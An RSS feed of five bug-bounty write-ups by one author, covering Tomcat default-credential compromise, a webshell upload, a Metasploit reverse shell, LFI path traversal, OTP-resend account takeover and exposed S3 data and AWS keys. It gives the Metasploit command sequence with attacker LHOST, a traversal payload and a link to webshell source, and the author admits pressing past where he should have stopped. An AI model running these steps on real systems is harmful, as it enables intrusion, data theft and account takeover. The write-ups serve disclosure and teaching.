<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Pawan Chhabria on Medium]]></title>
        <description><![CDATA[Stories by Pawan Chhabria on Medium]]></description>
        <link>https://medium.com/@pawanchhabria?source=rss-6cdef630f9e3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PiToMlDyCr6gkDj0fgjCMg.jpeg</url>
            <title>Stories by Pawan Chhabria on Medium</title>
            <link>https://medium.com/@pawanchhabria?source=rss-6cdef630f9e3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 22:42:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pawanchhabria/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I chained multiple bugs to maximize the impact (Default Credentials -> Reverse Connection->…]]></title>
            <link>https://pawanchhabria.medium.com/how-i-chained-multiple-bugs-to-maximize-the-impact-default-credentials-reverse-connection-b347029bd3c4?source=rss-6cdef630f9e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b347029bd3c4</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Pawan Chhabria]]></dc:creator>
            <pubDate>Sat, 01 Apr 2023 10:45:37 GMT</pubDate>
            <atom:updated>2023-04-01T17:06:01.883Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How I chained multiple bugs to maximize the impact (Default Credentials -&gt; Reverse Connection-&gt; LFI)</strong></h3><p>Hello All, In the previous <a href="https://medium.com/@pawanchhabria/how-i-escalated-default-credentials-to-remote-code-execution-1c34504be7a5">blog</a> post, we saw how basic recon on <a href="https://www.shodan.io/">Shodan</a> helped us in finding tomcat service which was running on port 8082. We brute forced the credentials by using this <a href="https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown">list</a> and eventually ended up logging on to the server. Post login, we uploaded a malicious <strong>.war</strong> file and got remote code execution.</p><p>In this blog post, Let me walk you through on how we can get reverse shell of the server which will help us in maximizing the impact.</p><p><strong>Please note:</strong> The domain and other details have been masked for Confidentiality Purpose.</p><p><strong>Here are the pre-requisites for this attack:</strong></p><p>The first thing we need to do is identify if tomcat is running on the server. If tomcat is running, then we need to try/brute force credentials. This git <a href="https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown">repo</a> can be used brute force credentials. This attack can be performed only if we have credentials for the tomcat server. We will be using <a href="https://www.metasploit.com/">Metasploit</a> Framework for this attack.</p><p>So, let’s begin!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*TG4gbuCHrUr6RsU1XZfF3g.gif" /></figure><p>In our case, lets take the IP as X.X.X.X and the port is 8082. The credentials that worked for me are username=<strong>tomcat</strong> and password=<strong>s3cret. </strong>Now, let’s launch <a href="https://www.metasploit.com/">Metasploit</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*iAhKyOgVhTafUdlj0ef19Q.png" /></figure><p>Once Metasploit is successfully launched, type the following commands one after the other.</p><p>(<strong>Note:</strong> You need to give proper details for a successful attack)</p><p><strong>use exploit/multi/http/tomcat_mgr_upload </strong>(This is the exploit)</p><p><strong>set RHOSTS X.X.X.X</strong> (IP address of the remote machine)</p><p><strong>set RPORT 8082</strong> (Port on which tomcat is running on the remote machine)</p><p><strong>set HttpPassword s3cret</strong> (Password of tomcat)</p><p><strong>set HttpUsername tomcat</strong> (Username of tomcat)</p><p><strong>set LHOST X.X.X.X</strong> (IP address of the machine on which you want reverse connection)</p><p><strong>set LPORT 4444</strong> (Port of the machine on which you want reverse connection)</p><p><strong>exploit</strong> (Once all details are provided, we can use this command to launch the exploit)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jUMX1wATtax89u-1XUjD1g.png" /></figure><p>It might give the following error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dj_hptH9uc2kUoM0FDzRDg.png" /></figure><p>Run the following command to get rid of the error and launch the exploit again.</p><p><strong>set FingerprintCheck false</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*QDIspMr1qUuUnVDYkgzHsQ.png" /></figure><p>Wait for a few seconds for the exploit to run. The following screenshots show that the exploit ran successfully and gave the reverse connection of the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7y1NRP-JS4iK10OrZZhoaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-jPG8rGy60u3N3p85IeNw.png" /></figure><p>This is the maximum impact but still wanted to show more impact. I had tried <a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion#:~:text=Local%20file%20inclusion%20(also%20known,procedures%20implemented%20in%20the%20application.">LFI</a> to fetch a few sensitive files but it didn’t work.</p><p>After getting the shell, I noticed the <strong>/var/lib/</strong> directory and the content inside it. The was a folder “<strong>tomcat9</strong>” which had “<strong>webapps</strong>” as a sub folder and that folder had the source code of the application.</p><p>I manually constructed the payload. The name of the file which contained the source code was “<strong>Webappcode.war</strong>”.</p><p><strong>So, the payload became ../../../../../../var/lib/tomcat9/webapps/Webappcode.war</strong></p><p>The application had a parameter called “<strong>template</strong>” which was fetching and downloading something. The final URL to exploit <a href="https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion#:~:text=Local%20file%20inclusion%20(also%20known,procedures%20implemented%20in%20the%20application.">LFI</a> became <a href="https://example.com/sh/doc?template=../../../../../../var/lib/tomcat9/webapps/Webappcode.war"><strong>https://example.com/sh/doc?template=../../../../../../var/lib/tomcat9/webapps/Webappcode.war</strong></a> I tried this payload and Boooooooooooom!!!!, the source code was dumped successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*ePHHDWHFm3-V4DNq.gif" /></figure><p><strong>Golden Tip:</strong> To catch a thief, we need to think like one and you will eventually end up exploiting the vulnerability to show the maximum impact.</p><p>That’s it for this writeup.</p><p>Happy Hacking and Happy Testing!!!</p><p>Make sure you say a “Hi” to me if I could be of some help!</p><p>Twitter: <a href="https://twitter.com/heybenchmarkkk">@heybenchmarkkk</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/pawanchhabria/">Pawan Chhabria</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b347029bd3c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I escalated default credentials to Remote Code Execution]]></title>
            <link>https://infosecwriteups.com/how-i-escalated-default-credentials-to-remote-code-execution-1c34504be7a5?source=rss-6cdef630f9e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c34504be7a5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[tomcat]]></category>
            <dc:creator><![CDATA[Pawan Chhabria]]></dc:creator>
            <pubDate>Sun, 26 Mar 2023 17:20:53 GMT</pubDate>
            <atom:updated>2023-04-03T02:54:56.889Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All, We all know <a href="https://www.bugcrowd.com/resources/levelup/doing-recon-like-a-boss/">Recon</a> is very important to get P1 bugs. <a href="https://www.shodan.io/">Shodan</a> and <a href="https://censys.io/">Censys</a> are probably the best search engines. I have been testing a lot of application logic issues so thought of learning some recon as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*dJOsX0fn7OrXTCIN6-JSzQ.gif" /></figure><p><strong>Please note:</strong> The domain and other details have been masked for Confidentiality Purpose.</p><p>Recently, I came across an application which was using <a href="https://tomcat.apache.org/">Tomcat</a>. Lets take the domain as <a href="http://www.example.com/">www.example.com</a>. The first thing I did was brute forcing tomcat directories, but unfortunately, it did not work. I tried a couple of more things but it didn’t work, that’s where I decided to visit <a href="https://www.shodan.io/">Shodan</a>.</p><p>I took the domain name and pasted it on Shodan. I filtered out the results on the basis of port. That’s where I noticed something strange. I saw some application running on port 8082 and it was using tomcat. The IP address was x.x.x.x (Just an example).</p><p>I tried accessing <a href="http://x.x.x.x/manager">http://x.x.x.x:8082/manager</a> and guess what, it was prompting me to enter username and password. I got some hope there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5ryxhniKqwjEJUUjaY6PA.png" /></figure><p>Boooommmm!!!!!, The username=<strong>tomcat</strong> and password=<strong>s3cret</strong> worked and the Tomcat Application Manager Console was accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*Rnov9GQPw0HFSY-C" /></figure><p>Technically, I should have stopped but I knew, I can get a remote code execution by uploading malicious war file. I needed a malicious .JSP file to make the war file. I took the JSP file from <a href="https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp">here</a>, saved it with name index.jsp on desktop. Then, I created the war file using the commands in the below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*RN16wY_a6070i5G4-MNgew.png" /></figure><p>Once the war file was generated, I navigated to “Select WAR file to upload” section and uploaded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oLd7i3PSpqoALqpYR8mbLA.png" /></figure><p>After refreshing the page, I could see an application named “webshell” was added in the list of application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HMtvkyOnk0uCgRHiai4tUw.png" /></figure><p>I quickly opened it on a new tab. The webshell was successfully uploaded and I was able to run a few commands on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n8ZDiClABpbBDuaYWsZ5uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-B6ZiR89mVoH4fLrnjDVbA.png" /></figure><p><strong>Golden Tip:</strong> Always think the other way round while hunting. Old vulnerabilities never die, we have to be creative enough to find them.</p><p>That’s it for this writeup.</p><p>Happy Testing!</p><p>Make sure you say a “Hi” to me if I could be of some help!</p><p>Twitter: <a href="https://twitter.com/heybenchmarkkk">@heybenchmarkkk</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/pawanchhabria/">Pawan Chhabria</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c34504be7a5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-escalated-default-credentials-to-remote-code-execution-1c34504be7a5">How I escalated default credentials to Remote Code Execution</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I accessed the Sensitive document which I had already deleted]]></title>
            <link>https://pawanchhabria.medium.com/how-i-accessed-the-sensitive-document-which-i-had-already-deleted-adbc1e6fbb25?source=rss-6cdef630f9e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/adbc1e6fbb25</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[data]]></category>
            <category><![CDATA[breach]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Pawan Chhabria]]></dc:creator>
            <pubDate>Sat, 04 Dec 2021 08:33:43 GMT</pubDate>
            <atom:updated>2021-12-08T16:57:05.705Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All, this is my third writeup. I have already published two writeups which are <a href="https://pawanchhabria.medium.com/how-i-was-able-to-access-a-properly-configured-s3-bucket-a0e949446341">How I was able to access a properly Configured S3 Bucket</a> and <a href="https://pawanchhabria.medium.com/my-first-pre-auth-account-takeover-in-20-secs-7c90fd273ffa">My First Pre-Auth Account Takeover in 20 secs</a>. Do check them out if you haven’t read them.</p><p>So, Let’s Begin!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LxfD0cqeS6LjL7mUZ6VCJw.jpeg" /><figcaption>Data Leak</figcaption></figure><p>“<a href="https://en.wikipedia.org/wiki/Data"><strong>Data</strong></a>” is very hot topic when it comes to security. There is always a debate on how companies store and handle “<a href="https://en.wikipedia.org/wiki/Customer_data#:~:text=Customer%20data%20or%20consumer%20data,departments%20from%20their%20customer%20base.&amp;text=The%20data%20collection%20is%20thus,(buying%20decisions%2C%20etc.)">Customer Data</a>”. To solve this debate, various compliances and regulations came into picture. This writeup focuses on how important it is to handle the sensitive data and how important it is to dispose it with care.</p><p><strong>Please note:</strong> The domain and other details have been masked for Confidentiality Purpose.</p><p>I came across an application where it had an option of uploading documents for KYC. Aadhar Card, PAN Card, Driving License and Passport were the documents that can uploaded on the website. There documents are “Sensitive” in nature and utmost care must be taken while handling them.</p><p>I tried a few attacks to compromise the website but couldn’t succeed. So, I though let’s try to play with data. Let’s analyze how the PII data is being handled by the website.</p><p>I tried uploading a dummy image and captured the request. The request looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*3RIdhSdtSLzUyLwOwg43Zg.png" /></figure><p>Once the image got uploaded, the server returned a success response with the link of the uploaded image. It is shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*y6vH9TKrGQ39hRfXU9Rv6A.png" /></figure><p>Here, I noticed something strange. The image was getting uploaded on some S3 bucket and it had a few Amazon headers. Take a note of file name. It starts with “022eae” and ends with “fd55”. I tried accessing URL (Just the URL as highlighted in the above screenshot).</p><p>Boooom!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*OJ8H7dN2Nf7mzB6_EUSoRA.gif" /></figure><p>The document was accessible publicly. Imagine if some one might have uploaded their “Passport” or “Other Sensitive” document 😉.</p><p>In the frontend it showed me the uploaded document. Then, I thought, lets try to delete the document and check whether it gets deleted from the UI only or gets deleted from the server as well. I captured the delete request and it looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*BO7Xzj5al90aTs7TMuInzg.png" /></figure><p>The uploaded image had “Document ID” associated with it. I forwarded the request and waited for the response. The response is shown in the below screenshot. Notice the file name of the deleted file. It is the same file which was uploaded (Starting with “022eae” and ending with “fd55”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*-NND3keijFFNyYMJlio1MQ.png" /></figure><p>This was clear enough that we have successfully deleted the uploaded document. But wait!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*wmoIGRKnGvjQ5XeZwpHO1Q.gif" /></figure><p>Coming to the question whether it was deleted only on the UI or from the server as well. I tried pasting the entire URL of the uploaded document again to check whether it was deleted from the server.</p><p>Guess What! The document was still present on the server. It only disappeared from the front end. It’s the same document which started with “022eae” and ending with “fd55”) and publicly accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*dp4HclTnu4z_5ccEdBTkjA.png" /></figure><p><strong>Business impact:</strong> It is a privacy violation wherein user thinks that he has deleted the document, but the document is still available in the S3 bucket and it is accessible without authentication. It is a privacy compromise of the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Muv0zp2TvOSxTe6JPCbOBg.gif" /></figure><p><strong>Golden Tip:</strong> Make sure to keep yourself updated. This thing would not have struck my mind if I hadn’t read about some compliance stuff online. Everything is vulnerable, you just need some knowledge to find the vulnerable point.</p><p>That’s it for this writeup.</p><p>Happy Testing!</p><p>Make sure you say a “Hi” to me if I could be of some help!</p><p>Twitter: <a href="https://twitter.com/heybenchmarkkk">@heybenchmarkkk</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/pawanchhabria/">Pawan Chhabria</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adbc1e6fbb25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Pre-Auth Account Takeover in 20 secs]]></title>
            <link>https://infosecwriteups.com/my-first-pre-auth-account-takeover-in-20-secs-7c90fd273ffa?source=rss-6cdef630f9e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c90fd273ffa</guid>
            <category><![CDATA[business-logic]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Pawan Chhabria]]></dc:creator>
            <pubDate>Tue, 23 Nov 2021 11:48:22 GMT</pubDate>
            <atom:updated>2023-04-18T15:36:13.098Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All, this is my first account takeover writeup and I hope it helps everyone. Taking over another user’s account is something that amazes everyone. There are several ways in which we can perform “Account Takeover”, but the one which I got is a bit interesting!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*uwzTIiw1la6qBcsqCP265A.jpeg" /><figcaption>Account Takeover</figcaption></figure><p><strong>Note:</strong> The domain and other details have been masked to maintain Confidentiality.</p><p>Forgot Password is the best possible feature where most of the “Pre-Auth” account takeovers happen, so I started playing around with it.</p><p>I initiated a “Forgot Password” request with victim’s email id. The request looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*eHJBcP4InfFojdLzHVhiOA.png" /><figcaption>Forgot Password Request</figcaption></figure><p>It was only accepting “email_id” as the parameter and if correct email id is provided, the application sends an OTP to the registered mobile number. The response of this request looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*mhHvY2P_bNtnsjNqAZfAzg.png" /></figure><p>It states that OTP has been sent successfully. In the response, there was a mobile number on which the OTP is sent. I tried adding “mobileNo” along with its value in the “Forgot Password” request itself, but no luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*D4A3rH7DeVKxos4o67r9aw.gif" /><figcaption>Tired</figcaption></figure><p>It was still sending the OTP to the registered Mobile number.</p><p>I tried bypassing the OTP validation, but nothing worked there as well.</p><p>Then, there was a “Resend OTP” feature which caught my attention. I initiated a “Resend OTP” request and captured it with “Burp Suite”. The request looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*np6TdIzsLl-U0Lcvivr3vQ.png" /></figure><p>There was a mobile number parameter which was being passed, and it was the registered mobile number on which OTP is received.</p><p>So, I modified the value of “mobile_no” parameter to my mobile number and forwarded the request, as shown in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*P3hYxUcm1Rc6y8Cx345wwA.png" /></figure><p>Guess what, I received the OTP on my mobile number, as you can see below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*kVz7fovB_4BkkW3JTrZo_Q.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*wph2PG6SXDJ2PlOUE0QPtA.png" /></figure><p>I entered the OTP and tried to reset the password. The application gave a success message😉.</p><p>I tried to login with the victim’s email id and the password which I had set, and the application allowed me to login, lol.</p><p>I had complete access to the victim’s account, and you know how it feels when you own an account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*OzyYu2eXMtLfpY4Em7wn5Q.gif" /></figure><p><strong>Golden Tip:</strong> Make sure you check each parameter in every request and all the API endpoints. You never know when you will hit a Jack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*jf5wnnmJZJ9jgyCcWb6LjQ.gif" /></figure><p>Happy Testing!</p><p>Twitter: <a href="https://twitter.com/heybenchmarkkk">@heybenchmarkkk</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/pawanchhabria/">Pawan Chhabria</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c90fd273ffa" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-first-pre-auth-account-takeover-in-20-secs-7c90fd273ffa">My First Pre-Auth Account Takeover in 20 secs</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I was able to access a properly Configured S3 Bucket]]></title>
            <link>https://pawanchhabria.medium.com/how-i-was-able-to-access-a-properly-configured-s3-bucket-a0e949446341?source=rss-6cdef630f9e3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0e949446341</guid>
            <category><![CDATA[aws-s3-security]]></category>
            <category><![CDATA[hacking-s3-bucket]]></category>
            <category><![CDATA[aws-s3-bucket]]></category>
            <category><![CDATA[s3-bucket-policies]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Pawan Chhabria]]></dc:creator>
            <pubDate>Fri, 29 Oct 2021 16:19:26 GMT</pubDate>
            <atom:updated>2021-11-12T14:07:57.071Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All</p><p>This is my very first writeup and I hope it helps everyone. Recently, I came across an application which was using “<a href="https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html">S3 Buckets</a>”. The bucket was used to store “KYC” documents and other important stuff. I tried accessing the bucket with “<a href="https://aws.amazon.com/cli/">AWS CLI</a>” to check for “Public Read” and “Public Write” access. Fortunately, the bucket was properly configured and gave the error as “Access Denied” for both “Public Read” and “Public Write”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Eoh38rNYiN10l_OFG_nHg.png" /><figcaption>Properly Configured S3 Bucket Output</figcaption></figure><p>This behaviour scratched my mind and I decided to recon. I started going through all the JS files to search something sensitive in the source code. Manually going through all the JS files was not possible so I came across a Burp Extender that helped me to automate the process.</p><p><a href="https://github.com/vsec7/BurpSuite-Xkeys">BurpSuite-Xkeys</a> — A Burp Suite Extension to extract interesting strings (Keys, API keys, Secret tokens, AWS Secrets etc.) from a webpage and lists them as information issues. Just passive scan the target and wait for the juicy information to come as listed below. This is my personal favorite extender.</p><p>A big shoutout to the person who made our job easier by releasing the extender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*kVt7YR_EIgKDDoalhRXANg.png" /><figcaption>Xkeys Output</figcaption></figure><p>As soon as I started getting the results, “<strong>aws_secret_access_key</strong>” and “<strong>aws_access</strong>” caught my eyes. These things were present in a config file which was available without authentication. The config file had all the important stuff that the developer had left by mistake. The config file looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*uVK7iRAAiwuj11NPHChvTQ.png" /><figcaption>Config file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*FyNyBroFCGJao-QHDr_hQA.gif" /></figure><p>Then, I remembered that while configuring “<a href="https://aws.amazon.com/cli/">AWS CLI</a>” tool “AWS Access Key ID” and “AWS Secret Access Key” are required. Those things were already present in the config file. I configured “<a href="https://aws.amazon.com/cli/">AWS CLI</a>” with those keys and tried accessing the bucket.</p><p>Booooooooooooooooom!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*goEbUHywGP2LwAkCW4cOxw.gif" /></figure><p>The bucket listed the content, and I could access all the “KYC Documents”. Not only this, but the bucket also allowed me to upload and delete the content.</p><p><strong>C</strong>onfidentiality, <strong>I</strong>ntegrity and <strong>A</strong>vailability, all the three pillars were affected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*6bWo-VdVMac1FtUOkMCI-w.png" /><figcaption>Access to the bucket</figcaption></figure><p><strong>Golden Tip:</strong> Make sure you don’t stop at any point. Deep dig and you will get juicy information. If that’s not the case, you will end up learning something new that will benefit you later.</p><p>Happy Testing!</p><p>Twitter: <a href="https://twitter.com/heybenchmarkkk">@heybenchmarkkk</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/pawanchhabria/">Pawan Chhabria</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0e949446341" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>